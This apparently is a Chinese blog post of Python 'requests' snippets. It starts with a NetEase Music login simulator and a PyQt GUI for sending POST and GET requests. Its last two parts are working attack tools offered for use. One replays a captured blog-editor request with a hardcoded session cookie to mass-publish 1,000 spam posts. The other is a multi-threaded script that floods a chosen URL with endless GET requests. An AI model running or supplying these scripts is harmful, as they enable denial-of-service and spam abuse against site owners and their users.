Python requests模拟登录
1 #!/usr/bin/env python 2 # encoding: UTF-8 3 import json 4 import requests # 跟urllib,urllib2类似, 5 import hashlib 6 7 default_timeout = 10 8 9 10 class NetEase: 11 def __init__(self): 12 self.header = { 13 'Accept': '*/*', 14 'Accept-Encoding': 'gzip,deflate,sdch', 15 'Accept-Language': 'zh-CN,zh;q=0.8,gl;q=0.6,zh-TW;q=0.4', 16 'Connection': 'keep-alive', 17 'Content-Type': 'application/x-www-form-urlencoded', 18 'Host': 'music.163.com', 19 'Referer': 'http://music.163.com/search/', 20 'User-Agent': 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_9_2) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/33.0.1750.152 Safari/537.36' 21 } 22 self.cookies = { 23 'appver': '1.5.2' 24 } 25 26 def httpRequest(self, method, action, query=None, urlencoded=None, callback=None, timeout=None): 27 if (method == 'GET'): 28 ## url = action if (query == None) else (action + '?' + query) 29 connection = requests.get(action, headers=self.header, timeout=default_timeout, params=query) 30 31 elif (method == 'POST'): 32 connection = requests.post( 33 action, 34 data=query, 35 headers=self.header, 36 timeout=default_timeout 37 ) 38 39 connection.encoding = "UTF-8" 40 connection = json.loads(connection.text) 41 return connection 42 43 # 登录 44 def login(self, username, password): 45 action = 'http://music.163.com/api/login/' 46 data = { 47 'username': username, 48 'password': hashlib.md5(password).hexdigest(), 49 'rememberLogin': 'true' 50 } 51 try: 52 return self.httpRequest('POST', action, data) 53 except Exception, e: 54 return {'code': 501} 55 56 57 Login = NetEase() 58 data = Login.login('User','UserPassWord') 59 if data['code']==200: 60 print('登录成功, UserId:'+str(data['account']['id'])) 61 else: 62 print('登录错误,错误Code:'+str(data['code']))
结果:
登录成功, UserId:18772773
登录错误,错误Code:502
Pyqt 模拟提交Post Get 数据
代码:
1 #!/usr/bin/python 2 # -*-coding:utf-8-*- 3 from PyQt4.QtGui import * 4 from PyQt4.QtCore import * 5 import requests, sys 6 7 reload(sys) 8 sys.setdefaultencoding("utf-8") 9 10 # 主入口文件 11 class MainWidget(QDialog): 12 def __init__(self, parent=None): 13 super(MainWidget, self).__init__(parent) 14 self.setMinimumSize(100, 100) 15 self.setWindowFlags(Qt.CustomizeWindowHint | Qt.WindowCloseButtonHint) 16 self.setWindowOpacity(0.7) 17 18 # URL 19 self.urllabel = QLabel(u'提交URL:') 20 self.url = QLineEdit(u'') 21 self.methodtype = QComboBox() 22 self.methodtype.addItem('POST') 23 self.methodtype.addItem('GET') 24 self.UrlLoayout = QHBoxLayout() 25 self.UrlLoayout.addWidget(self.urllabel) 26 self.UrlLoayout.addWidget(self.url) 27 self.UrlLoayout.addSpacing(20) # 添加一个20px的空间距离 且不带弹性 28 self.UrlLoayout.addWidget(self.methodtype) 29 30 # 添加头部group 31 self.headDict = {} 32 self.headPostArrayKey = 0 33 self.HeadGroupBox = QGroupBox(u'头部数据') 34 self.HeadGroupBox.setMinimumHeight(200) # 高度最小值 35 36 self.HeadAddParam = QPushButton(u'+') 37 self.headDict[str(self.headPostArrayKey) + '_key'] = QLineEdit() 38 self.headDict[str(self.headPostArrayKey) + '_value'] = QLineEdit() 39 self.HeadGroupBoxLayout = QGridLayout() 40 self.HeadGroupBoxLayout.addWidget(self.HeadAddParam, 0, 0) 41 self.HeadGroupBoxLayout.addWidget(QLabel(u'Key:'), 1, 0) 42 self.HeadGroupBoxLayout.addWidget(self.headDict[str(self.headPostArrayKey) + '_key'], 1, 1) 43 self.HeadGroupBoxLayout.addWidget(QLabel(u'Value:'), 1, 2) 44 self.HeadGroupBoxLayout.addWidget(self.headDict[str(self.headPostArrayKey) + '_value'], 1, 3) 45 self.HeadGroupBox.setLayout(self.HeadGroupBoxLayout) 46 self.HeadAddParam.clicked.connect(self.addHeadParam) 47 48 # 添加Body group 49 self.bodyDict = {} 50 self.bodyPostArrayKey = 0 51 self.BodyGroupBox = QGroupBox(u'正文数据') 52 self.BodyGroupBox.setMinimumHeight(200) 53 self.BodyAddParam = QPushButton(u'+') 54 self.bodyDict[str(self.bodyPostArrayKey) + '_key'] = QLineEdit(u'') 55 self.bodyDict[str(self.bodyPostArrayKey) + '_value'] = QLineEdit(u'') 56 self.BodyGroupBoxLayout = QGridLayout() 57 self.BodyGroupBoxLayout.addWidget(self.BodyAddParam, 0, 0) 58 self.BodyGroupBoxLayout.addWidget(QLabel(u'Key:'), 1, 0) 59 self.BodyGroupBoxLayout.addWidget(self.bodyDict[str(self.bodyPostArrayKey) + '_key'], 1, 1) 60 self.BodyGroupBoxLayout.addWidget(QLabel(u'Value:'), 1, 2) 61 self.BodyGroupBoxLayout.addWidget(self.bodyDict[str(self.bodyPostArrayKey) + '_value'], 1, 3) 62 self.BodyGroupBox.setLayout(self.BodyGroupBoxLayout) 63 self.BodyAddParam.clicked.connect(self.addBodyParam) 64 65 # 提交按钮 66 self.btnPost = QPushButton(u'提交') 67 self.postbtnLoayout = QHBoxLayout() 68 self.postbtnLoayout.addStretch() 69 self.postbtnLoayout.addWidget(self.btnPost) 70 71 72 # Main布局 73 main_layout = QVBoxLayout() 74 main_layout.addLayout(self.UrlLoayout) 75 main_layout.addWidget(self.HeadGroupBox) 76 main_layout.addWidget(self.BodyGroupBox) # addWidget 添加的是Qobject 77 main_layout.addLayout(self.postbtnLoayout) # addLayout 添加的是 Layout 78 79 main_layout.setSpacing(0) 80 self.setLayout(main_layout) 81 self.connect(self.btnPost, SIGNAL('clicked()'), self.postData) 82 83 # 发送数据 84 def postData(self): 85 self.headdictdata = {} 86 self.bodydictdata = {} 87 LOOPpar1 = {'1': self.headDict.items(), 2: self.bodyDict.items()} 88 LOOPpar2 = {'1': self.headdictdata, 2: self.bodydictdata} 89 for Looptype in LOOPpar1: 90 for k, v in LOOPpar1[Looptype]: 91 temp = k.split('_') 92 if temp[1] == 'key': 93 if LOOPpar2[Looptype].has_key(temp[0]): 94 LOOPpar2[Looptype][temp[0]]['key'] = str(v.text()) 95 else: 96 LOOPpar2[Looptype][temp[0]] = {'key': str(v.text())} 97 98 elif temp[1] == 'value': 99 if LOOPpar2[Looptype].has_key(temp[0]): 100 LOOPpar2[Looptype][temp[0]]['value'] = str(v.text()) 101 else: 102 LOOPpar2[Looptype][temp[0]] = {'value': str(v.text())} 103 104 url = self.url.text() 105 method = self.methodtype.currentText() 106 if not url: 107 QMessageBox.warning(self, u'notice', 'URL must fill in', QMessageBox.Yes) 108 self.url.cursor() 109 return False 110 self.Theading = TheadingPost({'url': str(url), 'method': str(method), 'headdictdata': self.headdictdata, 111 'bodydictdata': self.bodydictdata}) 112 self.connect(self.Theading, SIGNAL("updateresult"), self.updateResult) # 创建一个信号,在线程状态结果时发射触发 113 self.Theading.start() # 线程开始 114 115 def updateResult(self, resdata): 116 if resdata['status'] == 1: 117 QMessageBox.about(self, u"返回数据", str(resdata['msg'])) 118 else: 119 QMessageBox.warning(self, u'错误提示!', str(resdata['msg']), QMessageBox.Yes) 120 121 122 # 添加头部Data 123 def addHeadParam(self): 124 sts = str(self.headPostArrayKey + 1) 125 self.headDict[sts + '_key'] = QLineEdit() 126 self.headDict[sts + '_value'] = QLineEdit() 127 self.HeadGroupBoxLayout.addWidget(QLabel(u'Key:')) 128 self.HeadGroupBoxLayout.addWidget(self.headDict[sts + '_key']) 129 self.HeadGroupBoxLayout.addWidget(QLabel(u'Value:')) 130 self.HeadGroupBoxLayout.addWidget(self.headDict[sts + '_value']) 131 self.headPostArrayKey += 1 132 133 # 添加Body Data 134 def addBodyParam(self): 135 sts = str(self.bodyPostArrayKey + 1) 136 self.bodyDict[sts + '_key'] = QLineEdit() 137 self.bodyDict[sts + '_value'] = QLineEdit() 138 139 self.BodyGroupBoxLayout.addWidget(QLabel(u'Key:')) 140 self.BodyGroupBoxLayout.addWidget(self.bodyDict[sts + '_key']) 141 self.BodyGroupBoxLayout.addWidget(QLabel(u'Value:')) 142 self.BodyGroupBoxLayout.addWidget(self.bodyDict[sts + '_value']) 143 self.bodyPostArrayKey += 1 144 145 146 # 线程提交类 147 class TheadingPost(QThread): 148 def __init__(self, dict): 149 super(TheadingPost, self).__init__() 150 self.dict = dict 151 152 def run(self): 153 self.action = self.dict['url'] 154 self.headerdict = self.dict['headdictdata'].values() 155 self.datadict = self.dict['bodydictdata'].values() 156 self.header = {} 157 for hv in self.headerdict: 158 self.header[hv['key']] = hv['value'] 159 self.data = {} 160 for dv in self.datadict: 161 self.data[dv['key']] = dv['value'] 162 self.method = self.dict['method'] 163 result = {} 164 result['status'] = 0 165 try: 166 returndata = self.httpRequest(self.method, self.action, self.data) 167 result['status'] = 1 168 result['msg'] = returndata 169 except Exception, e: 170 result['status'] = 2 171 result['msg'] = e 172 173 self.emit(SIGNAL("updateresult"), result) 174 175 176 def httpRequest(self, method, action, query=None): 177 default_timeout = 10 178 if (method == 'GET'): 179 print('sd') 180 # url = action if (query == None) else (action + '?' + query) 181 connection = requests.get(action, headers=self.header, timeout=default_timeout, params=query) 182 elif (method == 'POST'): 183 connection = requests.post( 184 action, 185 data=query, 186 headers=self.header, 187 timeout=default_timeout 188 ) 189 connection.encoding = "UTF-8" 190 return connection.text 191 192 193 if __name__ == "__main__": 194 app = QApplication(sys.argv) 195 main_widget = MainWidget() 196 main_widget.show() 197 sys.exit(app.exec_())
效果:
Requests请求攻击N次方
# -*- coding: UTF8 -*- import json, time import requests # 跟urllib,urllib2类似, import hashlib ''' 通过Fiddler 获取POST 请求数据以及url 模拟攻击请求 ''' default_timeout = 10 Chinese_truth=''' <p> 惟一经 勤有功 戏无益<br />戒之哉 宜勉力</p> ''' class Blog: def __init__(self): self.header = { 'Accept': 'text/html, application/xhtml+xml, */*', 'Accept-Encoding': 'gzip, deflate', 'Accept-Language': 'zh-CN', 'Connection': 'keep-alive', 'Content-Length': '23318', 'Content-Type': 'application/x-www-form-urlencoded', 'Host': 'i.blog.com', 'DNT': '1', 'Cookie': '_ga=GA1.2.1424877390.1410319541; __gads=ID=334e00c33dad0ab8:T=1410319451:S=ALNI_Mag0cSHb4q1GHVu3wgmh0s9Urb43w; _gat=1; .Cookie=991B7FBD8D86CEF8AD2B649374088AD5E26700DADDE9C66394CD2DD4F1B365813DCBE7E202970ABBB426A0495C082EAD152F827581DD10B8AF6A2A1D85A045B295266B39B7A56F5B7537282220081E5A96A779C8; SERVERID=cd834d867596395032ab14c190885cfa|1435568930|1435568862', 'Referer': 'i.blog.com/EditPosts.asp?opt=1', 'User-Agent': 'Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; Trident/6.0)', 'Pragma':'no-cache' } def httpRequest(self, method, action, query=None, urlencoded=None, callback=None, timeout=None): if (method == 'GET'): url = action if (query == None) else (action + '?' + query) connection = requests.get(url, headers=self.header, timeout=default_timeout) elif (method == 'POST'): connection = requests.post( action, data=query, headers=self.header, timeout=default_timeout ) connection.encoding = "UTF-8" connection = json.loads(connection.text) return connection def truth(self,num): action = 'http://i.blog.com/EditPost.asp?opt=1' data = { '__VIEWSTATE': '', '__VIEWSTATEGENERATOR':'FE27D355', 'Editor$Edit$txbTitle': 'Test.'+str(num), 'Editor$Edit$EditorBody': '<p>'+Chinese_truth+'</p>', 'Editor$Edit$Advanced$txbEntryName': '', 'Editor$Edit$Advanced$txbExcerpt': '', 'Editor$Edit$Advanced$txbTag': '', 'Editor$Edit$Advanced$tbEnryPassword': '', 'Editor$Edit$lkbPost': '发布' } time.sleep(0.5) try: return self.httpRequest('POST', action, data) except Exception, e: return {'code': e} Classical = Blog() for i in range(3000, 4000): print(i) data = Classical.truth(i)
requests 使用线程代码
# -*- coding: UTF8 -*- import threading import requests def attack(index, url): cnt = 0 while True: cnt += 1 x = requests.get(url) print("[%d] == %d || %s\r"%(index, cnt, x.content.decode('utf-8')[0:50])) if __name__ == "__main__": url = input("Input the URL: ") x = int(input("Input the amount of threads: ")) pool = [] for i in range(x): pool.append(threading.Thread(target = attack, args = (i, url))) print("Start attack....") for i in range(x): pool[i].start()